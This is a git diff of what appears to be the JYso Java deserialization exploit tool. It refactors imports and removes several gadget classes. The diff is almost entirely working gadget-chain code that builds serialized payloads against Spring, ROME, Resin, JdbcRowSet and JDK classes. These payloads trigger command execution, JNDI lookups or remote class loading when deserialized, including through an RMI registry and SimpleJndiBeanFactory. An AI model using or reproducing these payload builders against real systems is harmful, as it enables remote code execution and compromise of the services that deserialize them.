|
||||
private static Object makeRegistryImpl(String codebase, String clazz) throws Exception {
|
||||
Class<?> regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry");
|
||||
Object reg = Reflections.createWithoutConstructor(regcl);
|
||||
Reflections.setFieldValue(reg, "name", "exp");
|
||||
|
||||
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1337);
|
||||
LiveRef liveRef = new LiveRef(new ObjID(), te, true);
|
||||
UnicastRef value = new UnicastRef(liveRef);
|
||||
Reflections.setFieldValue(reg, "ref", value);
|
||||
Reflections.setFieldValue(reg, "object", makeReference(codebase, clazz));
|
||||
return reg;
|
||||
}
|
||||
|
||||
|
||||
private static ReferenceWrapper makeReference(String codebase, String clazz) throws Exception {
|
||||
Reference ref = new Reference("Foo", clazz, codebase);
|
||||
ReferenceWrapper wrapper = Reflections.createWithoutConstructor(ReferenceWrapper.class);
|
||||
Reflections.setFieldValue(wrapper, "wrappee", ref);
|
||||
Reflections.setFieldValue(wrapper, "ref", Reflections.createWithoutConstructor(sun.rmi.server.UnicastServerRef.class));
|
||||
return wrapper;
|
||||
}
|
||||
|
||||
|
||||
private static Object makeRegistryContext(Object regi) throws Exception {
|
||||
Class<?> regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext");
|
||||
Object regctx = Reflections.createWithoutConstructor(regctxcl);
|
||||
Reflections.setFieldValue(regctx, "registry", regi);
|
||||
return regctx;
|
||||
}
|
||||
|
||||
|
||||
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
|
||||
HashMap<Object, Object> s = new HashMap<>();
|
||||
Reflections.setFieldValue(s, "size", 2);
|
||||
Class<?> nodeC;
|
||||
try {
|
||||
nodeC = Class.forName("java.util.HashMap$Node");
|
||||
} catch (ClassNotFoundException e) {
|
||||
nodeC = Class.forName("java.util.HashMap$Entry");
|
||||
}
|
||||
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
|
||||
nodeCons.setAccessible(true);
|
||||
|
||||
Object tbl = Array.newInstance(nodeC, 2);
|
||||
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
|
||||
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
|
||||
Reflections.setFieldValue(s, "table", tbl);
|
||||
return s;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings({
|
||||
"rawtypes", "unchecked"
|
||||
})
|
||||
public static Queue<Object> makePriorityQueue(Object tgt, Comparator comparator) throws Exception {
|
||||
// create queue with numbers and basic comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
// switch contents of queue
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = tgt;
|
||||
queueArray[1] = tgt;
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings({
|
||||
"rawtypes", "unchecked"
|
||||
})
|
||||
public static TreeMap<Object, Object> makeTreeMap(Object tgt, Comparator comparator) throws Exception {
|
||||
TreeMap<Object, Object> tm = new TreeMap<>(comparator);
|
||||
|
||||
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
|
||||
Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
|
||||
entryCons.setAccessible(true);
|
||||
Field leftF = Reflections.getField(entryCl, "left");
|
||||
|
||||
Field rootF = Reflections.getField(TreeMap.class, "root");
|
||||
Object root = entryCons.newInstance(tgt, tgt, null);
|
||||
leftF.set(root, entryCons.newInstance(tgt, tgt, root));
|
||||
rootF.set(tm, root);
|
||||
Reflections.setFieldValue(tm, "size", 2);
|
||||
return tm;
|
||||
}
|
||||
|
||||
|
||||
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
|
||||
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
|
||||
allIfaces[0] = iface;
|
||||
if (ifaces.length > 0) {
|
||||
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
|
||||
}
|
||||
return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih));
|
||||
}
|
||||
|
||||
|
||||
public static Map<String, Object> createMap(final String key, final Object val) {
|
||||
final Map<String, Object> map = new HashMap<>();
|
||||
map.put(key, val);
|
||||
return map;
|
||||
}
|
||||
|
||||
|
||||
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
|
||||
return (InvocationHandler) Reflections.getFirstCtor(TemplatesUtil.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||
}
|
||||
|
||||
|
||||
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
|
||||
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
||||
}
|
||||
}
|
||||
@@ -16,7 +16,7 @@ import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||
|
||||
|
||||
public class JRE8u20_2 implements ObjectPayload<Object> {
|
||||
|
||||
@@ -13,8 +13,7 @@ import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||
|
||||
|
||||
/**
|
||||
@@ -75,7 +74,7 @@ public class JSON1 implements ObjectPayload<Object> {
|
||||
AdvisedSupport as = new AdvisedSupport();
|
||||
as.setTarget(tql);
|
||||
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
|
||||
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
|
||||
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt));
|
||||
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
|
||||
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
|
||||
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
|
||||
|
||||
@@ -11,8 +11,8 @@ import javassist.CtMethod;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
|
||||
//Jackson1链的JDK17改造
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
|
||||
|
||||
public class JdbcRowSet implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
return JDKUtil.makeJNDIRowSet(command);
|
||||
return makeJNDIRowSet(command);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -10,7 +10,7 @@ import java.rmi.MarshalledObject;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||
|
||||
|
||||
@Authors({"potats0"})
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import java.net.URI;
|
||||
|
||||
public class LazySearchEnumeration implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
UtilFactory uf = new UtilFactory();
|
||||
URI uri = new URI(command);
|
||||
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[0], args[1])));
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,7 @@ package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.myfaces.context.servlet.FacesContextImpl;
|
||||
@@ -17,7 +18,7 @@ import javax.servlet.ServletContext;
|
||||
import javax.servlet.ServletRequest;
|
||||
import javax.servlet.ServletResponse;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
/**
|
||||
* ValueExpressionImpl.getValue(ELContext)
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
|
||||
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
@@ -7,7 +7,7 @@ import com.sun.syndication.feed.impl.ObjectBean;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
|
||||
/**
|
||||
|
||||
@@ -8,8 +8,8 @@ import com.sun.syndication.feed.impl.EqualsBean;
|
||||
import javax.xml.transform.Templates;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
|
||||
|
||||
@Dependencies("rome:rome:1.0")
|
||||
public class ROME2 implements ObjectPayload<Object> {
|
||||
@@ -21,10 +21,10 @@ public class ROME2 implements ObjectPayload<Object> {
|
||||
|
||||
EqualsBean bean = new EqualsBean(String.class, "");
|
||||
|
||||
Map map1 = Gadgets.createMap("aa", o);
|
||||
Map map1 = createMap("aa", o);
|
||||
map1.put("bB", bean);
|
||||
|
||||
Map map2 = Gadgets.createMap("aa", bean);
|
||||
Map map2 = createMap("aa", bean);
|
||||
map2.put("bB", o);
|
||||
|
||||
Reflections.setFieldValue(bean, "_beanClass", Templates.class);
|
||||
|
||||
@@ -5,6 +5,8 @@ import com.rometools.rome.feed.impl.EqualsBean;
|
||||
import com.rometools.rome.feed.impl.ToStringBean;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
|
||||
public class ROMEJDBC implements ObjectPayload<Object> {
|
||||
// Assuming JDKUtil class with makeJNDIRowSet method
|
||||
@@ -29,7 +31,7 @@ public class ROMEJDBC implements ObjectPayload<Object> {
|
||||
}
|
||||
|
||||
public Object makeHashCodeTrigger(Object o1) throws Exception {
|
||||
return JDKUtil.makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
|
||||
return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -11,11 +11,13 @@ import java.lang.reflect.Constructor;
|
||||
import java.net.URI;
|
||||
import java.util.Hashtable;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
public class Resin implements ObjectPayload<Object> {
|
||||
public static Object makeToStringTrigger(Object o) throws Exception {
|
||||
String unhash = unhash(o.hashCode());
|
||||
XString xString = new XString(unhash);
|
||||
return JDKUtil.makeMap(o, xString);
|
||||
return makeMap(o, xString);
|
||||
}
|
||||
|
||||
public static String unhash(int hash) {
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import javax.script.ScriptEngineFactory;
|
||||
|
||||
public class ServiceLoader implements ObjectPayload<Object> {
|
||||
public static Object makeServiceLoader(UtilFactory uf, String[] args) throws Exception {
|
||||
return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
UtilFactory uf = new UtilFactory();
|
||||
String args[] = {command};
|
||||
|
||||
return makeServiceLoader(uf, args);
|
||||
}
|
||||
}
|
||||
@@ -24,11 +24,10 @@ import java.lang.reflect.*;
|
||||
import java.math.BigInteger;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.Serializer.serialize;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||
import static java.lang.Class.forName;
|
||||
|
||||
/**
|
||||
@@ -207,9 +206,9 @@ public class SignedObject implements ObjectPayload<Object> {
|
||||
// Spring-Core 二次反序列化
|
||||
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
ObjectFactory<?> objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class);
|
||||
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
|
||||
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
|
||||
Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||
|
||||
final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
||||
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
|
||||
|
||||
@@ -12,7 +12,7 @@ import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Type;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||
import static java.lang.Class.forName;
|
||||
|
||||
/**
|
||||
@@ -56,14 +56,14 @@ public class Spring1 implements ObjectPayload<Object> {
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
final ObjectFactory objectFactoryProxy =
|
||||
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
|
||||
createMemoitizedProxy(createMap("getObject", templates), ObjectFactory.class);
|
||||
|
||||
final Type typeTemplatesProxy = createProxy((InvocationHandler)
|
||||
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
|
||||
.newInstance(objectFactoryProxy), Type.class, Templates.class);
|
||||
|
||||
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
|
||||
Gadgets.createMap("getType", typeTemplatesProxy),
|
||||
final Object typeProviderProxy = createMemoitizedProxy(
|
||||
createMap("getType", typeTemplatesProxy),
|
||||
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||
|
||||
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
||||
|
||||
@@ -11,7 +11,7 @@ import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Type;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||
import static java.lang.Class.forName;
|
||||
|
||||
/**
|
||||
@@ -49,8 +49,8 @@ public class Spring2 implements ObjectPayload<Object> {
|
||||
Type.class,
|
||||
Templates.class);
|
||||
|
||||
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
|
||||
Gadgets.createMap("getType", typeTemplatesProxy),
|
||||
final Object typeProviderProxy = createMemoitizedProxy(
|
||||
createMap("getType", typeTemplatesProxy),
|
||||
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||
|
||||
Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
|
||||
|
||||
@@ -1,36 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.logging.impl.NoOpLog;
|
||||
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
|
||||
import org.springframework.beans.factory.BeanFactory;
|
||||
import org.springframework.jndi.support.SimpleJndiBeanFactory;
|
||||
|
||||
public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload<Object> {
|
||||
public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception {
|
||||
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
|
||||
pcadv.setBeanFactory(bf);
|
||||
pcadv.setAdviceBeanName(name);
|
||||
return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
|
||||
}
|
||||
|
||||
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
|
||||
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
|
||||
bf.setShareableResources(jndiUrl);
|
||||
Reflections.setFieldValue(bf, "logger", new NoOpLog());
|
||||
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
|
||||
return bf;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
return makeBeanFactoryPointcutAdvisor(command);
|
||||
}
|
||||
|
||||
public Object makeBeanFactoryPointcutAdvisor(String args) throws Exception {
|
||||
String jndiUrl = args;
|
||||
UtilFactory uf = new UtilFactory();
|
||||
BeanFactory bf = makeJNDITrigger(jndiUrl);
|
||||
return makeBeanFactoryTriggerBFPA(uf, jndiUrl, bf);
|
||||
}
|
||||
}
|
||||
@@ -1,60 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.logging.impl.NoOpLog;
|
||||
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
|
||||
import org.springframework.aop.aspectj.AspectInstanceFactory;
|
||||
import org.springframework.aop.aspectj.AspectJAroundAdvice;
|
||||
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
|
||||
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
|
||||
import org.springframework.beans.factory.BeanFactory;
|
||||
import org.springframework.jndi.support.SimpleJndiBeanFactory;
|
||||
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
|
||||
public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Object> {
|
||||
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
|
||||
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
|
||||
bf.setShareableResources(jndiUrl);
|
||||
Reflections.setFieldValue(bf, "logger", new NoOpLog());
|
||||
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
|
||||
return bf;
|
||||
}
|
||||
|
||||
public static Object makeBeanFactoryTriggerPCAH(UtilFactory uf, String name, BeanFactory bf) throws ClassNotFoundException,
|
||||
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
|
||||
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
|
||||
Reflections.setFieldValue(aif, "beanFactory", bf);
|
||||
Reflections.setFieldValue(aif, "name", name);
|
||||
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
|
||||
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
|
||||
|
||||
// make readObject happy if it is called
|
||||
Reflections.setFieldValue(advice, "declaringClass", Object.class);
|
||||
Reflections.setFieldValue(advice, "methodName", "toString");
|
||||
Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);
|
||||
|
||||
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
|
||||
Reflections.setFieldValue(advisor, "advice", advice);
|
||||
|
||||
Class<?> pcahCl = Class
|
||||
.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
|
||||
Object pcah = Reflections.createWithoutConstructor(pcahCl);
|
||||
Reflections.setFieldValue(pcah, "advisor", advisor);
|
||||
return uf.makeToStringTriggerUnstable(pcah);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
return makePartiallyComparableAdvisorHolder(command);
|
||||
}
|
||||
|
||||
public Object makePartiallyComparableAdvisorHolder(String args) throws Exception {
|
||||
String jndiUrl = args;
|
||||
UtilFactory uf = new UtilFactory();
|
||||
BeanFactory bf = makeJNDITrigger(jndiUrl);
|
||||
return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.springframework.beans.factory.BeanFactory;
|
||||
import org.springframework.beans.factory.config.PropertyPathFactoryBean;
|
||||
|
||||
public class SpringPropertyPathFactory implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
String jndiUrl = command;
|
||||
BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl);
|
||||
|
||||
PropertyPathFactoryBean ppf = new PropertyPathFactoryBean();
|
||||
ppf.setTargetBeanName(jndiUrl);
|
||||
ppf.setPropertyPath("foo");
|
||||
|
||||
Reflections.setFieldValue(ppf, "beanFactory", bf);
|
||||
return ppf;
|
||||
}
|
||||
}
|
||||
@@ -1,108 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.logging.impl.NoOpLog;
|
||||
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
|
||||
import org.springframework.aop.aspectj.AspectInstanceFactory;
|
||||
import org.springframework.aop.aspectj.AspectJAroundAdvice;
|
||||
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
|
||||
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
|
||||
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
|
||||
import org.springframework.beans.factory.BeanFactory;
|
||||
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
|
||||
import org.springframework.beans.factory.support.RootBeanDefinition;
|
||||
import org.springframework.jndi.support.SimpleJndiBeanFactory;
|
||||
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public final class SpringUtil {
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
private SpringUtil() {
|
||||
}
|
||||
|
||||
|
||||
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
|
||||
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
|
||||
bf.setShareableResources(jndiUrl);
|
||||
Reflections.setFieldValue(bf, "logger", new NoOpLog());
|
||||
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
|
||||
return bf;
|
||||
}
|
||||
|
||||
|
||||
public static BeanFactory makeMethodTrigger(Object o, String method) throws Exception {
|
||||
DefaultListableBeanFactory bf = new DefaultListableBeanFactory();
|
||||
RootBeanDefinition caller = new RootBeanDefinition();
|
||||
|
||||
caller.setFactoryBeanName("obj");
|
||||
caller.setFactoryMethodName(method);
|
||||
Reflections.setFieldValue(caller.getMethodOverrides(), "overrides", new HashSet<>());
|
||||
bf.registerBeanDefinition("caller", caller);
|
||||
|
||||
Reflections.getField(DefaultListableBeanFactory.class, "beanClassLoader").set(bf, null);
|
||||
Reflections.getField(DefaultListableBeanFactory.class, "alreadyCreated").set(bf, new HashSet<>());
|
||||
Reflections.getField(DefaultListableBeanFactory.class, "singletonsCurrentlyInCreation").set(bf, new HashSet<>());
|
||||
Reflections.getField(DefaultListableBeanFactory.class, "inCreationCheckExclusions").set(bf, new HashSet<>());
|
||||
Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog());
|
||||
Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>());
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
Map<String, Object> objs = (Map<String, Object>) Reflections.getFieldValue(bf, "singletonObjects");
|
||||
objs.put("obj", o);
|
||||
return bf;
|
||||
}
|
||||
|
||||
|
||||
public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception {
|
||||
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
|
||||
pcadv.setBeanFactory(bf);
|
||||
pcadv.setAdviceBeanName(name);
|
||||
return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param jndiUrl
|
||||
* @param bf
|
||||
* @return
|
||||
* @throws ClassNotFoundException
|
||||
* @throws NoSuchMethodException
|
||||
* @throws InstantiationException
|
||||
* @throws IllegalAccessException
|
||||
* @throws InvocationTargetException
|
||||
* @throws Exception
|
||||
*/
|
||||
public static Object makeBeanFactoryTriggerPCAH(UtilFactory uf, String name, BeanFactory bf) throws ClassNotFoundException,
|
||||
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
|
||||
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
|
||||
Reflections.setFieldValue(aif, "beanFactory", bf);
|
||||
Reflections.setFieldValue(aif, "name", name);
|
||||
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
|
||||
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
|
||||
|
||||
// make readObject happy if it is called
|
||||
Reflections.setFieldValue(advice, "declaringClass", Object.class);
|
||||
Reflections.setFieldValue(advice, "methodName", "toString");
|
||||
Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);
|
||||
|
||||
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
|
||||
Reflections.setFieldValue(advisor, "advice", advice);
|
||||
|
||||
Class<?> pcahCl = Class
|
||||
.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
|
||||
Object pcah = Reflections.createWithoutConstructor(pcahCl);
|
||||
Reflections.setFieldValue(pcah, "advisor", advisor);
|
||||
return uf.makeToStringTriggerUnstable(pcah);
|
||||
}
|
||||
}
|
||||
@@ -1,78 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.sun.org.apache.xpath.internal.objects.XString;
|
||||
import org.springframework.aop.target.HotSwappableTargetSource;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.function.Function;
|
||||
|
||||
public class ToStringUtil {
|
||||
|
||||
public static Object makeToStringTrigger(Object o, Function<Object, Object> wrap) throws Exception {
|
||||
String unhash = unhash(o.hashCode());
|
||||
XString xString = new XString(unhash);
|
||||
return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
|
||||
}
|
||||
|
||||
|
||||
public static Object makeToStringTrigger(Object o) throws Exception {
|
||||
String unhash = unhash(o.hashCode());
|
||||
XString xString = new XString(unhash);
|
||||
return JDKUtil.makeMap(o, xString);
|
||||
}
|
||||
|
||||
|
||||
public static Object makeJohnzonToStringTrigger(Object o) throws Exception {
|
||||
Class<?> clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$
|
||||
Constructor<?> dec = clz.getDeclaredConstructor(Map.class);
|
||||
dec.setAccessible(true);
|
||||
HashMap<Object, Object> m = new HashMap<>();
|
||||
Object jo = dec.newInstance(m);
|
||||
m.put(o, o);
